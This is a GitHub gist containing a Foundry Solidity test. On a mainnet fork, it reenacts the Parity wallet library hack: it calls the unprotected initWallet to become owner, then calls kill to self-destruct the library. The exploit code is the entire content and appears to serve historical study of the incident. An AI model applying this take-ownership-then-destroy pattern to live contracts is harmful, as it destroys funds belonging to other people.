Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 6, 2023 17:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/2758b3800b4340dbce29d40de4e51bb0 to your computer and use it in GitHub Desktop.
Save az0mb13/2758b3800b4340dbce29d40de4e51bb0 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface parity {
function isOwner(address _addr) external view returns (bool);
function kill(address _to) external;
function initWallet(
address[] memory _owners,
uint256 _required,
uint256 _daylimit
) external;
}
contract ContractTest is DSTest {
parity WalletLibrary =
parity(payable(0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4));
address[] public owner;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 4501735); //fork mainnet at block 4501735
}
function testExploit() public {
WalletLibrary.isOwner(address(this)); // not a owner of contract
owner.push(address(this));
WalletLibrary.initWallet(owner, 0, 0);
bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now
assertTrue(isowner);
WalletLibrary.kill(address(this));
WalletLibrary.isOwner(address(this)); // contract destroyed, return 0
}
receive() external payable {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment